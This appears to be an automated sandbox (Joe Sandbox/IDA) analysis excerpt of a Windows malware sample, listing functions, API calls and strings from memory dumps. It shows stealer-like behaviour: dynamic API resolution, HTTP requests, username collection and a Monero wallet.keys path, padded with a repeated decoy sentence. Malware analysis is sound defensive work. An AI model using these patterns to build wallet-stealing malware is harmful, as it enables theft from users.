The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005C46D8

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 7d6b5bb0886f354b54714608d7c215c6841851ead91230df25d8a7967726e58d
Instruction ID: 738ffae114688c72d5f40b359bbd85fef143b17161f54d0c6a77a65a72dee528
Opcode Fuzzy Hash: 7d6b5bb0886f354b54714608d7c215c6841851ead91230df25d8a7967726e58d
Instruction Fuzzy Hash: FF4116607D168C6AC72EFBE7884EEFD7B7A7F42704F50504AA85853280DBF079094522

Function 005C4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005C4839
Part of subcall function 005C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005C4849

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005C4915
StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005C4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,005E0DDB,00000000,?,?,00000000,?,",00000000,?,014B0D30), ref: 005C4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005C4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005C4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005C4E49
InternetCloseHandle.WININET(00000000), ref: 005C4EAD
InternetCloseHandle.WININET(00000000), ref: 005C4EC5
HttpOpenRequestA.WININET(00000000,014B0D10,?,014B0588,00000000,00000000,00400100,00000000), ref: 005C4B15

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

InternetCloseHandle.WININET(00000000), ref: 005C4ECF

Strings

------, xrefs: 005C4C69
------, xrefs: 005C4B28
------, xrefs: 005C49BD
", xrefs: 005C4BF2
", xrefs: 005C4D33

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 4e914ddb21cb4717ce0678e58724fdaf299d067f07c50ea0712dac5c4a5ef6a8
Instruction ID: b1ef069a1e1e4ff6da622f7339ba0b905a565239822a79a800f829e16738f353
Opcode Fuzzy Hash: 4e914ddb21cb4717ce0678e58724fdaf299d067f07c50ea0712dac5c4a5ef6a8
Instruction Fuzzy Hash: F31233729101599ADB24EB94CCA6FEFBB38BF54300F50419BB50662191EF702F49CF66

Function 005D7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005C11B7), ref: 005D7880
RtlAllocateHeap.NTDLL(00000000), ref: 005D7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 005D789F

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 6e01709f55bec6e0f0624f035843c27bc3ee0b987550261b9992b611f414ab73
Instruction ID: 57df30037b8be5a041d44012fda814bb9b80eeb6836b93c2e70115ee4a45ac3f
Opcode Fuzzy Hash: 6e01709f55bec6e0f0624f035843c27bc3ee0b987550261b9992b611f414ab73
Instruction Fuzzy Hash: 4EF04FB1944208ABC714DF98DD49BAEBBB8FB08711F10466AFA05A2780C77515048BA1

Function 005C1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 005C116A
ExitProcess.KERNEL32 ref: 005C117E

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: de495fbff3fa119fb3e3085f2bd896f489936471be20b61d51bfcd7d8722e5d2
Instruction ID: df6228c58510a527cb0a362178874462a6a62226cbd878fbd7594b8213903798
Opcode Fuzzy Hash: de495fbff3fa119fb3e3085f2bd896f489936471be20b61d51bfcd7d8722e5d2
Instruction Fuzzy Hash: FBD05E7490030CDBCB04DFE0D849ADDBB78FB08311F000558D90562341EA305481CAA6

Function 005D9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01495108), ref: 005D9C2D
GetProcAddress.KERNEL32(76210000,014950A8), ref: 005D9C45
GetProcAddress.KERNEL32(76210000,014A8F80), ref: 005D9C5E
GetProcAddress.KERNEL32(76210000,014A8CC8), ref: 005D9C76
GetProcAddress.KERNEL32(76210000,014A8D28), ref: 005D9C8E
GetProcAddress.KERNEL32(76210000,014AEA10), ref: 005D9CA7
GetProcAddress.KERNEL32(76210000,0149A798), ref: 005D9CBF
GetProcAddress.KERNEL32(76210000,014AEA28), ref: 005D9CD7
GetProcAddress.KERNEL32(76210000,014AE950), ref: 005D9CF0
GetProcAddress.KERNEL32(76210000,014AEA40), ref: 005D9D08
GetProcAddress.KERNEL32(76210000,014AEA88), ref: 005D9D20
GetProcAddress.KERNEL32(76210000,014951E8), ref: 005D9D39
GetProcAddress.KERNEL32(76210000,01495208), ref: 005D9D51
GetProcAddress.KERNEL32(76210000,014952E8), ref: 005D9D69
GetProcAddress.KERNEL32(76210000,01494FC8), ref: 005D9D82
GetProcAddress.KERNEL32(76210000,014AE8D8), ref: 005D9D9A
GetProcAddress.KERNEL32(76210000,014AE938), ref: 005D9DB2
GetProcAddress.KERNEL32(76210000,0149A720), ref: 005D9DCB
GetProcAddress.KERNEL32(76210000,01495068), ref: 005D9DE3
GetProcAddress.KERNEL32(76210000,014AE920), ref: 005D9DFB
GetProcAddress.KERNEL32(76210000,014AEA58), ref: 005D9E14
GetProcAddress.KERNEL32(76210000,014AE830), ref: 005D9E2C
GetProcAddress.KERNEL32(76210000,014AE8A8), ref: 005D9E44
GetProcAddress.KERNEL32(76210000,01495028), ref: 005D9E5D
GetProcAddress.KERNEL32(76210000,014AE980), ref: 005D9E75
GetProcAddress.KERNEL32(76210000,014AEAE8), ref: 005D9E8D
GetProcAddress.KERNEL32(76210000,014AE860), ref: 005D9EA6
GetProcAddress.KERNEL32(76210000,014AE9B0), ref: 005D9EBE
GetProcAddress.KERNEL32(76210000,014AE908), ref: 005D9ED6
GetProcAddress.KERNEL32(76210000,014AE968), ref: 005D9EEF
GetProcAddress.KERNEL32(76210000,014AE878), ref: 005D9F07
GetProcAddress.KERNEL32(76210000,014AEA70), ref: 005D9F1F
GetProcAddress.KERNEL32(76210000,014AE800), ref: 005D9F38
GetProcAddress.KERNEL32(76210000,0149FDA8), ref: 005D9F50
GetProcAddress.KERNEL32(76210000,014AE998), ref: 005D9F68
GetProcAddress.KERNEL32(76210000,014AE8C0), ref: 005D9F81
GetProcAddress.KERNEL32(76210000,01495248), ref: 005D9F99
GetProcAddress.KERNEL32(76210000,014AE848), ref: 005D9FB1
GetProcAddress.KERNEL32(76210000,014950C8), ref: 005D9FCA
GetProcAddress.KERNEL32(76210000,014AEAA0), ref: 005D9FE2
GetProcAddress.KERNEL32(76210000,014AE890), ref: 005D9FFA
GetProcAddress.KERNEL32(76210000,01495288), ref: 005DA013
GetProcAddress.KERNEL32(76210000,01494FE8), ref: 005DA02B
LoadLibraryA.KERNEL32(014AE818,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA03D
LoadLibraryA.KERNEL32(014AE8F0,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA04E
LoadLibraryA.KERNEL32(014AEAB8,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA060
LoadLibraryA.KERNEL32(014AEAD0,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA072
LoadLibraryA.KERNEL32(014AE9C8,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA083
LoadLibraryA.KERNEL32(014AE9E0,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA095
LoadLibraryA.KERNEL32(014AE9F8,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA0A7
LoadLibraryA.KERNEL32(014AED28,?,005D5CA3,005E0AEB,?,?,?,?,?,?,?,?,?,?,005E0AEA,005E0AE3), ref: 005DA0B8
GetProcAddress.KERNEL32(751E0000,01495008), ref: 005DA0DA
GetProcAddress.KERNEL32(751E0000,014AEB18), ref: 005DA0F2
GetProcAddress.KERNEL32(751E0000,014A8B78), ref: 005DA10A
GetProcAddress.KERNEL32(751E0000,014AECB0), ref: 005DA123
GetProcAddress.KERNEL32(751E0000,01495048), ref: 005DA13B
GetProcAddress.KERNEL32(73FB0000,0149A4C8), ref: 005DA160
GetProcAddress.KERNEL32(73FB0000,01495628), ref: 005DA179
GetProcAddress.KERNEL32(73FB0000,0149A680), ref: 005DA191
GetProcAddress.KERNEL32(73FB0000,014AEC08), ref: 005DA1A9
GetProcAddress.KERNEL32(73FB0000,014AED10), ref: 005DA1C2
GetProcAddress.KERNEL32(73FB0000,014954A8), ref: 005DA1DA
GetProcAddress.KERNEL32(73FB0000,014953C8), ref: 005DA1F2
GetProcAddress.KERNEL32(73FB0000,014AED40), ref: 005DA20B
GetProcAddress.KERNEL32(753A0000,01495488), ref: 005DA22C
GetProcAddress.KERNEL32(753A0000,014954C8), ref: 005DA244
GetProcAddress.KERNEL32(753A0000,014AED58), ref: 005DA25D
GetProcAddress.KERNEL32(753A0000,014AEBD8), ref: 005DA275
GetProcAddress.KERNEL32(753A0000,01495448), ref: 005DA28D
GetProcAddress.KERNEL32(76310000,0149A608), ref: 005DA2B3
GetProcAddress.KERNEL32(76310000,0149A568), ref: 005DA2CB
GetProcAddress.KERNEL32(76310000,014AEB60), ref: 005DA2E3
GetProcAddress.KERNEL32(76310000,01495408), ref: 005DA2FC
GetProcAddress.KERNEL32(76310000,01495528), ref: 005DA314
GetProcAddress.KERNEL32(76310000,0149A8B0), ref: 005DA32C
GetProcAddress.KERNEL32(76910000,014AEB78), ref: 005DA352
GetProcAddress.KERNEL32(76910000,01495548), ref: 005DA36A
GetProcAddress.KERNEL32(76910000,014A8AC8), ref: 005DA382
GetProcAddress.KERNEL32(76910000,014AEBA8), ref: 005DA39B
GetProcAddress.KERNEL32(76910000,014AED70), ref: 005DA3B3
GetProcAddress.KERNEL32(76910000,01495348), ref: 005DA3CB
GetProcAddress.KERNEL32(76910000,01495368), ref: 005DA3E4
GetProcAddress.KERNEL32(76910000,014AEBF0), ref: 005DA3FC
GetProcAddress.KERNEL32(76910000,014AED88), ref: 005DA414
GetProcAddress.KERNEL32(75B30000,01495668), ref: 005DA436
GetProcAddress.KERNEL32(75B30000,014AEB90), ref: 005DA44E
GetProcAddress.KERNEL32(75B30000,014AEDA0), ref: 005DA466
GetProcAddress.KERNEL32(75B30000,014AECC8), ref: 005DA47F
GetProcAddress.KERNEL32(75B30000,014AEC20), ref: 005DA497
GetProcAddress.KERNEL32(75670000,01495568), ref: 005DA4B8
GetProcAddress.KERNEL32(75670000,01495648), ref: 005DA4D1
GetProcAddress.KERNEL32(76AC0000,01495588), ref: 005DA4F2
GetProcAddress.KERNEL32(76AC0000,014AEC98), ref: 005DA50A
GetProcAddress.KERNEL32(6F4E0000,014955E8), ref: 005DA530
GetProcAddress.KERNEL32(6F4E0000,014955A8), ref: 005DA548
GetProcAddress.KERNEL32(6F4E0000,014956E8), ref: 005DA560
GetProcAddress.KERNEL32(6F4E0000,014AEDB8), ref: 005DA579
GetProcAddress.KERNEL32(6F4E0000,01495608), ref: 005DA591
GetProcAddress.KERNEL32(6F4E0000,01495688), ref: 005DA5A9
GetProcAddress.KERNEL32(6F4E0000,014955C8), ref: 005DA5C2
GetProcAddress.KERNEL32(6F4E0000,014956A8), ref: 005DA5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 005DA5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 005DA607
GetProcAddress.KERNEL32(75AE0000,014AEC50), ref: 005DA629
GetProcAddress.KERNEL32(75AE0000,014A8C68), ref: 005DA641
GetProcAddress.KERNEL32(75AE0000,014AEDD0), ref: 005DA659
GetProcAddress.KERNEL32(75AE0000,014AEC38), ref: 005DA672
GetProcAddress.KERNEL32(76300000,014953E8), ref: 005DA693
GetProcAddress.KERNEL32(6FE30000,014AEB48), ref: 005DA6B4
GetProcAddress.KERNEL32(6FE30000,01495388), ref: 005DA6CD
GetProcAddress.KERNEL32(6FE30000,014AEBC0), ref: 005DA6E5
GetProcAddress.KERNEL32(6FE30000,014AEC68), ref: 005DA6FD

Strings

InternetSetOptionA, xrefs: 005DA5E5
HttpQueryInfoA, xrefs: 005DA5FC

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 60ac59c1a6e269a9eb63dd5fbf90823dba02027145233ef13323617637521769
Instruction ID: f20ce685e91f5b58a075e862ce63b30a5968ca166ad7c11c6e0948840e25e134
Opcode Fuzzy Hash: 60ac59c1a6e269a9eb63dd5fbf90823dba02027145233ef13323617637521769
Instruction Fuzzy Hash: F4620BB6610300AFD3DCDFA8ED889663BF9F78D701714C52AA649C3264D73A9841DF62

Function 005C6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005C4839
Part of subcall function 005C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005C4849

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

InternetOpenA.WININET(005E0DFE,00000001,00000000,00000000,00000000), ref: 005C62E1
StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005C6335
HttpOpenRequestA.WININET(00000000,GET,?,014B0588,00000000,00000000,00400100,00000000), ref: 005C6385
